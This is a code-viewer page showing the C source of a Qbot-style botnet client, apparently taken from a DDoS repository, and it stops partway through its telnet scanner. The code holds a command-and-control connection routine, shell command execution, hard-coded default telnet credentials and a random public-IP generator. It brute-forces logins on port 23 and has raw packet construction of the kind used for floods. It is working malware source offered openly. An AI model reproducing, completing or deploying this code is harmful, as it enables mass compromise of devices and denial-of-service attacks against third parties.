Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Qbot/L7/client.c
5038 views
1
// ___ __ _
2
// / \___ / _(_)_ __ ___ ___
3
// / /\ / _ \ |_| | '_ \ / _ \/ __|
4
// / /_// __/ _| | | | | __/\__ \
5
// /___,' \___|_| |_|_| |_|\___||___/
6
7
#define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
8
#define PAD_RIGHT 1
9
#define PAD_ZERO 2
10
#define PRINT_BUF_LEN 12
11
#define CMD_IAC 255
12
#define CMD_WILL 251
13
#define CMD_WONT 252
14
#define CMD_DO 253
15
#define CMD_DONT 254
16
#define OPT_SGA 3
17
18
// _____ _ _
19
// \_ \_ __ ___| |_ _ __| | ___ ___
20
// / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|
21
// /\/ /_ | | | | (__| | |_| | (_| | __/\__ \
22
// \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/
23
24
#include <stdlib.h>
25
#include <stdarg.h>
26
#include <stdio.h>
27
#include <sys/socket.h>
28
#include <sys/types.h>
29
#include <netinet/in.h>
30
#include <arpa/inet.h>
31
#include <netdb.h>
32
#include <signal.h>
33
#include <strings.h>
34
#include <string.h>
35
#include <sys/utsname.h>
36
#include <unistd.h>
37
#include <fcntl.h>
38
#include <errno.h>
39
#include <netinet/ip.h>
40
#include <netinet/udp.h>
41
#include <netinet/tcp.h>
42
#include <sys/wait.h>
43
#include <sys/ioctl.h>
44
#include <net/if.h>
45
46
char encodes[] = {
47
'<', '>', '@', 'o', '$', ':', ',', '.', 'l', '+', '*', '^', '?', '=', ')', '(',
48
'|', 'A', 'B', '&', '%', ';', 'D', '"', '!', 'w', 'k', 'U', 'x', 'z', 'v', 'u',
49
't', 's', 'r', 'q', 'p', '_', 'n', 'm', '-', 'i', 'h', 'g', 'f', 'F', 'C', 'c',
50
'b', 'a', '~', 'K', '2', '3', '4', '5', '6', '7', '8', '9', 'e', 'y', 'd', '1',
51
'X', 'S', 'N', 'Q', 'W', 'T', 'Z', 'M', 'I', 'R', 'H', 'G', 'V', 'O', 'Y', 'L',
52
'j', 'P', 'J', 'E', '/', ']', '['
53
};
54
char decodes[] = {
55
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f',
56
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
57
'z', 'y', 'w', 'x', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
58
'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'Z', 'Y', 'W', 'X', '|', ':',
59
'.', ' ', '!', '#', '-', '/', ';', '&', '*', '\'', '\"', '\n', '\r', '\0', '>',
60
'$', '%', '(', ')', ',', '?', '=', '@'
61
};
62
63
char *encode(char *str)
64
{
65
int x = 0, i = 0, c;
66
char encoded[512];
67
memset(encoded, 0, sizeof(encoded));
68
while(x < strlen(str))
69
{
70
for(c = 0; c <= sizeof(decodes); c++)
71
{
72
if(str[x] == decodes[c])
73
{
74
encoded[i] = encodes[c];
75
i++;
76
}
77
}
78
x++;
79
}
80
encoded[i] = '\0';
81
char *ptrEncoded = strdup(encoded);
82
return ptrEncoded;
83
}
84
85
char *decode(char *str)
86
{
87
int x = 0, i = 0, c;
88
char decoded[512];
89
memset(decoded, 0, sizeof(decoded));
90
while(x < strlen(str))
91
{
92
for(c = 0; c <= sizeof(encodes); c++)
93
{
94
if(str[x] == encodes[c])
95
{
96
decoded[i] = decodes[c];
97
i++;
98
}
99
}
100
x++;
101
}
102
decoded[i] = '\0';
103
char *ptrDecoded = strdup(decoded);
104
return ptrDecoded;
105
}
106
107
// ___ __ _
108
// / __\___ _ __ / _(_) __ _
109
// / / / _ \| '_ \| |_| |/ _` |
110
// / /__| (_) | | | | _| | (_| |
111
// \____/\___/|_| |_|_| |_|\__, |
112
// |___/
113
114
unsigned char *commServer[] =
115
{
116
""
117
};
118
119
// ___ _
120
// / __\ _ _ __ ___| |_(_) ___ _ __ ___
121
// / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|
122
// / / | |_| | | | | (__| |_| | (_) | | | \__ \
123
// \/ \__,_|_| |_|\___|\__|_|\___/|_| |_|___/
124
125
int initConnection();
126
int getBogos(unsigned char *bogomips);
127
int getCores();
128
int getCountry(unsigned char *buf, int bufsize);
129
void makeRandomStr(unsigned char *buf, int length);
130
int sockprintf(int sock, char *formatStr, ...);
131
char *inet_ntoa(struct in_addr in);
132
133
// ___ _ _ _
134
// / _ \ | ___ | |__ __ _| |___
135
// / /_\/ |/ _ \| '_ \ / _` | / __|
136
// / /_\\| | (_) | |_) | (_| | \__ \
137
// \____/|_|\___/|_.__/ \__,_|_|___/
138
139
int mainCommSock = 0, currentServer = -1, gotIP = 0;
140
uint32_t *pids;
141
uint32_t scanPid;
142
uint64_t numpids = 0;
143
struct in_addr ourIP;
144
unsigned char macAddress[6] = {0};
145
char *usernames[] = {"root\0", "\0", "admin\0", "user\0", "login\0", "guest\0", "user\0"};
146
char *passwords[] = {"root\0", "\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0"};
147
148
// ___ ___ __ __ ___
149
// / __\/ _ \/__\ /\ \ \/ _ \
150
// / _\ / /_)/ \// / \/ / /_\/
151
// / / / ___/ _ \/ /\ / /_\\
152
// \/ \/ \/ \_/\_\ \/\____/
153
154
#define PHI 0x9e3779b9
155
static uint32_t Q[4096], c = 362436;
156
157
void init_rand(uint32_t x)
158
{
159
int i;
160
161
Q[0] = x;
162
Q[1] = x + PHI;
163
Q[2] = x + PHI + PHI;
164
165
for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
166
}
167
168
uint32_t rand_cmwc(void)
169
{
170
uint64_t t, a = 18782LL;
171
static uint32_t i = 4095;
172
uint32_t x, r = 0xfffffffe;
173
i = (i + 1) & 4095;
174
t = a * Q[i] + c;
175
c = (uint32_t)(t >> 32);
176
x = t + c;
177
if (x < c) {
178
x++;
179
c++;
180
}
181
return (Q[i] = r - x);
182
}
183
184
// _ _ _
185
// /\ /\| |_(_) |___
186
// / / \ \ __| | / __|
187
// \ \_/ / |_| | \__ \
188
// \___/ \__|_|_|___/
189
190
void trim(char *str)
191
{
192
int i;
193
int begin = 0;
194
int end = strlen(str) - 1;
195
196
while (isspace(str[begin])) begin++;
197
198
while ((end >= begin) && isspace(str[end])) end--;
199
for (i = begin; i <= end; i++) str[i - begin] = str[i];
200
201
str[i - begin] = '\0';
202
}
203
204
static void printchar(unsigned char **str, int c)
205
{
206
if (str) {
207
**str = c;
208
++(*str);
209
}
210
else (void)write(1, &c, 1);
211
}
212
213
static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
214
{
215
register int pc = 0, padchar = ' ';
216
217
if (width > 0) {
218
register int len = 0;
219
register const unsigned char *ptr;
220
for (ptr = string; *ptr; ++ptr) ++len;
221
if (len >= width) width = 0;
222
else width -= len;
223
if (pad & PAD_ZERO) padchar = '0';
224
}
225
if (!(pad & PAD_RIGHT)) {
226
for ( ; width > 0; --width) {
227
printchar (out, padchar);
228
++pc;
229
}
230
}
231
for ( ; *string ; ++string) {
232
printchar (out, *string);
233
++pc;
234
}
235
for ( ; width > 0; --width) {
236
printchar (out, padchar);
237
++pc;
238
}
239
240
return pc;
241
}
242
243
static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
244
{
245
unsigned char print_buf[PRINT_BUF_LEN];
246
register unsigned char *s;
247
register int t, neg = 0, pc = 0;
248
register unsigned int u = i;
249
250
if (i == 0) {
251
print_buf[0] = '0';
252
print_buf[1] = '\0';
253
return prints (out, print_buf, width, pad);
254
}
255
256
if (sg && b == 10 && i < 0) {
257
neg = 1;
258
u = -i;
259
}
260
261
s = print_buf + PRINT_BUF_LEN-1;
262
*s = '\0';
263
264
while (u) {
265
t = u % b;
266
if( t >= 10 )
267
t += letbase - '0' - 10;
268
*--s = t + '0';
269
u /= b;
270
}
271
272
if (neg) {
273
if( width && (pad & PAD_ZERO) ) {
274
printchar (out, '-');
275
++pc;
276
--width;
277
}
278
else {
279
*--s = '-';
280
}
281
}
282
283
return pc + prints (out, s, width, pad);
284
}
285
286
static int print(unsigned char **out, const unsigned char *format, va_list args )
287
{
288
register int width, pad;
289
register int pc = 0;
290
unsigned char scr[2];
291
292
for (; *format != 0; ++format) {
293
if (*format == '%') {
294
++format;
295
width = pad = 0;
296
if (*format == '\0') break;
297
if (*format == '%') goto out;
298
if (*format == '-') {
299
++format;
300
pad = PAD_RIGHT;
301
}
302
while (*format == '0') {
303
++format;
304
pad |= PAD_ZERO;
305
}
306
for ( ; *format >= '0' && *format <= '9'; ++format) {
307
width *= 10;
308
width += *format - '0';
309
}
310
if( *format == 's' ) {
311
register char *s = (char *)va_arg( args, int );
312
pc += prints (out, s?s:"(null)", width, pad);
313
continue;
314
}
315
if( *format == 'd' ) {
316
pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
317
continue;
318
}
319
if( *format == 'x' ) {
320
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
321
continue;
322
}
323
if( *format == 'X' ) {
324
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
325
continue;
326
}
327
if( *format == 'u' ) {
328
pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
329
continue;
330
}
331
if( *format == 'c' ) {
332
scr[0] = (unsigned char)va_arg( args, int );
333
scr[1] = '\0';
334
pc += prints (out, scr, width, pad);
335
continue;
336
}
337
}
338
else {
339
out:
340
printchar (out, *format);
341
++pc;
342
}
343
}
344
if (out) **out = '\0';
345
va_end( args );
346
return pc;
347
}
348
349
int zprintf(const unsigned char *format, ...)
350
{
351
va_list args;
352
va_start( args, format );
353
return print( 0, format, args );
354
}
355
356
int szprintf(unsigned char *out, const unsigned char *format, ...)
357
{
358
va_list args;
359
va_start( args, format );
360
return print( &out, format, args );
361
}
362
363
364
int sockprintf(int sock, char *formatStr, ...)
365
{
366
unsigned char *textBuffer = malloc(2048);
367
memset(textBuffer, 0, 2048);
368
char *orig = textBuffer;
369
va_list args;
370
va_start(args, formatStr);
371
print(&textBuffer, formatStr, args);
372
va_end(args);
373
orig[strlen(orig)] = '\n';
374
zprintf("buf: %s\n", orig);
375
int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
376
free(orig);
377
return q;
378
}
379
380
static int *fdopen_pids;
381
382
int fdpopen(unsigned char *program, register unsigned char *type)
383
{
384
register int iop;
385
int pdes[2], fds, pid;
386
387
if (*type != 'r' && *type != 'w' || type[1]) return -1;
388
389
if (pipe(pdes) < 0) return -1;
390
if (fdopen_pids == NULL) {
391
if ((fds = getdtablesize()) <= 0) return -1;
392
if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
393
memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
394
}
395
396
switch (pid = vfork())
397
{
398
case -1:
399
close(pdes[0]);
400
close(pdes[1]);
401
return -1;
402
case 0:
403
if (*type == 'r') {
404
if (pdes[1] != 1) {
405
dup2(pdes[1], 1);
406
close(pdes[1]);
407
}
408
close(pdes[0]);
409
} else {
410
if (pdes[0] != 0) {
411
(void) dup2(pdes[0], 0);
412
(void) close(pdes[0]);
413
}
414
(void) close(pdes[1]);
415
}
416
execl("/bin/sh", "sh", "-c", program, NULL);
417
_exit(127);
418
}
419
if (*type == 'r') {
420
iop = pdes[0];
421
(void) close(pdes[1]);
422
} else {
423
iop = pdes[1];
424
(void) close(pdes[0]);
425
}
426
fdopen_pids[iop] = pid;
427
return (iop);
428
}
429
430
int fdpclose(int iop)
431
{
432
register int fdes;
433
sigset_t omask, nmask;
434
int pstat;
435
register int pid;
436
437
if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
438
(void) close(iop);
439
sigemptyset(&nmask);
440
sigaddset(&nmask, SIGINT);
441
sigaddset(&nmask, SIGQUIT);
442
sigaddset(&nmask, SIGHUP);
443
(void) sigprocmask(SIG_BLOCK, &nmask, &omask);
444
do {
445
pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
446
} while (pid == -1 && errno == EINTR);
447
(void) sigprocmask(SIG_SETMASK, &omask, NULL);
448
fdopen_pids[fdes] = 0;
449
return (pid == -1 ? -1 : WEXITSTATUS(pstat));
450
}
451
452
unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
453
{
454
int got = 1, total = 0;
455
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
456
return got == 0 ? NULL : buffer;
457
}
458
459
static const long hextable[] = {
460
[0 ... 255] = -1,
461
['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
462
['A'] = 10, 11, 12, 13, 14, 15,
463
['a'] = 10, 11, 12, 13, 14, 15
464
};
465
466
long parseHex(unsigned char *hex)
467
{
468
long ret = 0;
469
while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
470
return ret;
471
}
472
473
int wildString(const unsigned char* pattern, const unsigned char* string) {
474
switch(*pattern)
475
{
476
case '\0': return *string;
477
case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
478
case '?': return !(*string && !wildString(pattern+1, string+1));
479
default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
480
}
481
}
482
483
int getHost(unsigned char *toGet, struct in_addr *i)
484
{
485
struct hostent *h;
486
if((i->s_addr = inet_addr(toGet)) == -1) return 1;
487
return 0;
488
}
489
490
void uppercase(unsigned char *str)
491
{
492
while(*str) { *str = toupper(*str); str++; }
493
}
494
495
int getBogos(unsigned char *bogomips)
496
{
497
int cmdline = open("/proc/cpuinfo", O_RDONLY);
498
char linebuf[4096];
499
while(fdgets(linebuf, 4096, cmdline) != NULL)
500
{
501
uppercase(linebuf);
502
if(strstr(linebuf, "BOGOMIPS") == linebuf)
503
{
504
unsigned char *pos = linebuf + 8;
505
while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
506
while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
507
if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
508
strcpy(bogomips, pos);
509
close(cmdline);
510
return 0;
511
}
512
memset(linebuf, 0, 4096);
513
}
514
close(cmdline);
515
return 1;
516
}
517
518
int getCores()
519
{
520
int totalcores = 0;
521
int cmdline = open("/proc/cpuinfo", O_RDONLY);
522
char linebuf[4096];
523
while(fdgets(linebuf, 4096, cmdline) != NULL)
524
{
525
uppercase(linebuf);
526
if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
527
memset(linebuf, 0, 4096);
528
}
529
close(cmdline);
530
return totalcores;
531
532
}
533
534
void makeRandomStr(unsigned char *buf, int length)
535
{
536
int i = 0;
537
for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
538
}
539
540
int recvLine(int socket, unsigned char *buf, int bufsize)
541
{
542
memset(buf, 0, bufsize);
543
544
fd_set myset;
545
struct timeval tv;
546
tv.tv_sec = 30;
547
tv.tv_usec = 0;
548
FD_ZERO(&myset);
549
FD_SET(socket, &myset);
550
int selectRtn, retryCount;
551
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
552
while(retryCount < 10)
553
{
554
sockprintf(mainCommSock, "PING");
555
556
tv.tv_sec = 30;
557
tv.tv_usec = 0;
558
FD_ZERO(&myset);
559
FD_SET(socket, &myset);
560
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
561
retryCount++;
562
continue;
563
}
564
565
break;
566
}
567
}
568
569
unsigned char tmpchr;
570
unsigned char *cp;
571
int count = 0;
572
573
cp = buf;
574
while(bufsize-- > 1)
575
{
576
if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
577
*cp = 0x00;
578
return -1;
579
}
580
*cp++ = tmpchr;
581
if(tmpchr == '\n') break;
582
count++;
583
}
584
*cp = 0x00;
585
586
zprintf("recv: %s\n", cp);
587
588
return count;
589
}
590
591
int connectTimeout(int fd, char *host, int port, int timeout)
592
{
593
struct sockaddr_in dest_addr;
594
fd_set myset;
595
struct timeval tv;
596
socklen_t lon;
597
598
int valopt;
599
long arg = fcntl(fd, F_GETFL, NULL);
600
arg |= O_NONBLOCK;
601
fcntl(fd, F_SETFL, arg);
602
603
dest_addr.sin_family = AF_INET;
604
dest_addr.sin_port = htons(port);
605
if(getHost(host, &dest_addr.sin_addr)) return 0;
606
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
607
int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
608
609
if (res < 0) {
610
if (errno == EINPROGRESS) {
611
tv.tv_sec = timeout;
612
tv.tv_usec = 0;
613
FD_ZERO(&myset);
614
FD_SET(fd, &myset);
615
if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
616
lon = sizeof(int);
617
getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
618
if (valopt) return 0;
619
}
620
else return 0;
621
}
622
else return 0;
623
}
624
625
arg = fcntl(fd, F_GETFL, NULL);
626
arg &= (~O_NONBLOCK);
627
fcntl(fd, F_SETFL, arg);
628
629
return 1;
630
}
631
632
int listFork()
633
{
634
uint32_t parent, *newpids, i;
635
parent = fork();
636
if (parent <= 0) return parent;
637
numpids++;
638
newpids = (uint32_t*)malloc((numpids + 1) * 4);
639
for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
640
newpids[numpids - 1] = parent;
641
free(pids);
642
pids = newpids;
643
return parent;
644
}
645
646
int negotiate(int sock, unsigned char *buf, int len)
647
{
648
unsigned char c;
649
650
switch (buf[1]) {
651
case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
652
case CMD_WILL:
653
case CMD_WONT:
654
case CMD_DO:
655
case CMD_DONT:
656
c = CMD_IAC;
657
send(sock, &c, 1, MSG_NOSIGNAL);
658
if (CMD_WONT == buf[1]) c = CMD_DONT;
659
else if (CMD_DONT == buf[1]) c = CMD_WONT;
660
else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
661
else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
662
send(sock, &c, 1, MSG_NOSIGNAL);
663
send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
664
break;
665
666
default:
667
break;
668
}
669
670
return 0;
671
}
672
673
int matchPrompt(char *bufStr)
674
{
675
char *prompts = ":>%$#\0";
676
677
int bufLen = strlen(bufStr);
678
int i, q = 0;
679
for(i = 0; i < strlen(prompts); i++)
680
{
681
while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
682
if(*(bufStr + bufLen - q) == prompts[i]) return 1;
683
}
684
685
return 0;
686
}
687
688
int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
689
{
690
int bufferUsed = initialIndex, got = 0, found = 0;
691
fd_set myset;
692
struct timeval tv;
693
tv.tv_sec = timeout;
694
tv.tv_usec = timeoutusec;
695
unsigned char *initialRead = NULL;
696
697
while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
698
{
699
FD_ZERO(&myset);
700
FD_SET(fd, &myset);
701
if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
702
initialRead = buffer + bufferUsed;
703
got = recv(fd, initialRead, 1, 0);
704
if(got == -1 || got == 0) return 0;
705
bufferUsed += got;
706
if(*initialRead == 0xFF)
707
{
708
got = recv(fd, initialRead + 1, 2, 0);
709
if(got == -1 || got == 0) return 0;
710
bufferUsed += got;
711
if(!negotiate(fd, initialRead, 3)) return 0;
712
} else {
713
if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
714
}
715
}
716
717
if(found) return 1;
718
return 0;
719
}
720
721
// _____ ___ _ _ _
722
// \_ \/ _ \ /\ /\| |_(_) |___
723
// / /\/ /_)/ / / \ \ __| | / __|
724
// /\/ /_/ ___/ \ \_/ / |_| | \__ \
725
// \____/\/ \___/ \__|_|_|___/
726
727
static uint8_t ipState[5] = {0}; //starting from 1 becuz yolo
728
in_addr_t getRandomPublicIP()
729
{
730
if(ipState[1] > 0 && ipState[4] < 255)
731
{
732
ipState[4]++;
733
char ip[16] = {0};
734
szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
735
return inet_addr(ip);
736
}
737
738
ipState[1] = rand() % 255;
739
ipState[2] = rand() % 255;
740
ipState[3] = rand() % 255;
741
ipState[4] = 0;
742
while(
743
(ipState[1] == 0) ||
744
(ipState[1] == 10) ||
745
(ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
746
(ipState[1] == 127) ||
747
(ipState[1] == 169 && ipState[2] == 254) ||
748
(ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
749
(ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
750
(ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
751
(ipState[1] == 192 && ipState[2] == 168) ||
752
(ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
753
(ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
754
(ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
755
(ipState[1] >= 224)
756
)
757
{
758
ipState[1] = rand() % 255;
759
ipState[2] = rand() % 255;
760
ipState[3] = rand() % 255;
761
}
762
763
char ip[16] = {0};
764
szprintf(ip, "%d.%d.%d.0", ipState[1], ipState[2], ipState[3]);
765
return inet_addr(ip);
766
}
767
768
in_addr_t getRandomIP(in_addr_t netmask)
769
{
770
in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
771
return tmp ^ ( rand_cmwc() & ~netmask);
772
}
773
774
unsigned short csum (unsigned short *buf, int count)
775
{
776
register uint64_t sum = 0;
777
while( count > 1 ) { sum += *buf++; count -= 2; }
778
if(count > 0) { sum += *(unsigned char *)buf; }
779
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
780
return (uint16_t)(~sum);
781
}
782
783
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
784
{
785
786
struct tcp_pseudo
787
{
788
unsigned long src_addr;
789
unsigned long dst_addr;
790
unsigned char zero;
791
unsigned char proto;
792
unsigned short length;
793
} pseudohead;
794
unsigned short total_len = iph->tot_len;
795
pseudohead.src_addr=iph->saddr;
796
pseudohead.dst_addr=iph->daddr;
797
pseudohead.zero=0;
798
pseudohead.proto=IPPROTO_TCP;
799
pseudohead.length=htons(sizeof(struct tcphdr));
800
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
801
unsigned short *tcp = malloc(totaltcp_len);
802
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
803
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
804
unsigned short output = csum(tcp,totaltcp_len);
805
free(tcp);
806
return output;
807
}
808
809
void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
810
{
811
iph->ihl = 5;
812
iph->version = 4;
813
iph->tos = 0;
814
iph->tot_len = sizeof(struct iphdr) + packetSize;
815
iph->id = rand_cmwc();
816
iph->frag_off = 0;
817
iph->ttl = MAXTTL;
818
iph->protocol = protocol;
819
iph->check = 0;
820
iph->saddr = source;
821
iph->daddr = dest;
822
}
823
824
int sclose(int fd)
825
{
826
if(3 > fd) return 1;
827
close(fd);
828
return 0;
829
}
830
831
// _____ _ _ __ _ _
832
// /__ \___| |_ __ ___| |_ / _\ ___ __ _ _ __ _ __ ___ _ __ | | ___| |
833
// / /\/ _ \ | '_ \ / _ \ __| \ \ / __/ _` | '_ \| '_ \ / _ \ '__| | |/ _ \ |
834
// / / | __/ | | | | __/ |_ _\ \ (_| (_| | | | | | | | __/ | | | __/ |
835
// \/ \___|_|_| |_|\___|\__| \__/\___\__,_|_| |_|_| |_|\___|_| |_|\___|_|
836
837
void StartTheLelz()
838
{
839
int max = (getdtablesize() / 4) * 3, i, res;
840
fd_set myset;
841
struct timeval tv;
842
socklen_t lon;
843
int valopt;
844
845
max = max > 4096 ? 4096 : max;
846
847
struct sockaddr_in dest_addr;
848
dest_addr.sin_family = AF_INET;
849
dest_addr.sin_port = htons(23);
850
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
851
852
struct telstate_t
853
{
854
int fd;
855
uint32_t ip;
856
uint8_t state;
857
uint8_t complete;
858
uint8_t usernameInd;
859
uint8_t passwordInd;
860
uint32_t totalTimeout;
861
uint16_t bufUsed;
862
char *sockbuf;
863
} fds[max];
864
memset(fds, 0, max * (sizeof(int) + 1));
865
for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
866
867
while(1)
868
{
869
for(i = 0; i < max; i++)
870
{
871
switch(fds[i].state)
872
{
873
case 0:
874
{
875
memset(fds[i].sockbuf, 0, 1024);
876
877
if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
878
else {
879
fds[i].passwordInd++;
880
if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
881
if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
882
}
883
dest_addr.sin_family = AF_INET;
884
dest_addr.sin_port = htons(23);
885
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
886
dest_addr.sin_addr.s_addr = fds[i].ip;
887
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
888
if(fds[i].fd == -1) { continue; }
889
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
890
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { sclose(fds[i].fd); fds[i].complete = 1; }
891
else { fds[i].state = 1; fds[i].totalTimeout = 0; }
892
}
893
break;
894
895
case 1:
896
{
897
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
898
899
FD_ZERO(&myset);
900
FD_SET(fds[i].fd, &myset);
901
tv.tv_sec = 0;
902
tv.tv_usec = 10000;
903
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
904
if(res == 1)
905
{
906
lon = sizeof(int);
907
valopt = 0;
908
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
909
if(valopt)
910
{
911
sclose(fds[i].fd);
912
fds[i].state = 0;
913
fds[i].complete = 1;
914
} else {
915
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
916
fds[i].totalTimeout = 0;
917
fds[i].bufUsed = 0;
918
memset(fds[i].sockbuf, 0, 1024);
919
fds[i].state = 2;
920
continue;
921
}
922
} else if(res == -1)
923
{
924
sclose(fds[i].fd);
925
fds[i].state = 0;
926
fds[i].complete = 1;
927
}
928
929
if(fds[i].totalTimeout + 10 < time(NULL))
930
{
931
sclose(fds[i].fd);
932
fds[i].state = 0;
933
fds[i].complete = 1;
934
}
935
}
936
break;
937
938
case 2:
939
{
940
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
941
942
if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
943
{
944
fds[i].totalTimeout = 0;
945
fds[i].bufUsed = 0;
946
memset(fds[i].sockbuf, 0, 1024);
947
fds[i].state = 3;
948
continue;
949
} else {
950
fds[i].bufUsed = strlen(fds[i].sockbuf);
951
}
952
953
if(fds[i].totalTimeout + 30 < time(NULL))
954
{
955
sclose(fds[i].fd);
956
fds[i].state = 0;
957
fds[i].complete = 1;
958
}
959
}
960
break;
961
962
case 3:
963
{
964
if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
965
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
966
fds[i].state = 4;
967
}
968
break;
969
970
case 4:
971
{
972
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
973
974
if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
975
{
976
fds[i].totalTimeout = 0;
977
fds[i].bufUsed = 0;
978
if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
979
else fds[i].state = 100;
980
memset(fds[i].sockbuf, 0, 1024);
981
continue;
982
} else {
983
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
984
fds[i].bufUsed = strlen(fds[i].sockbuf);
985
}
986
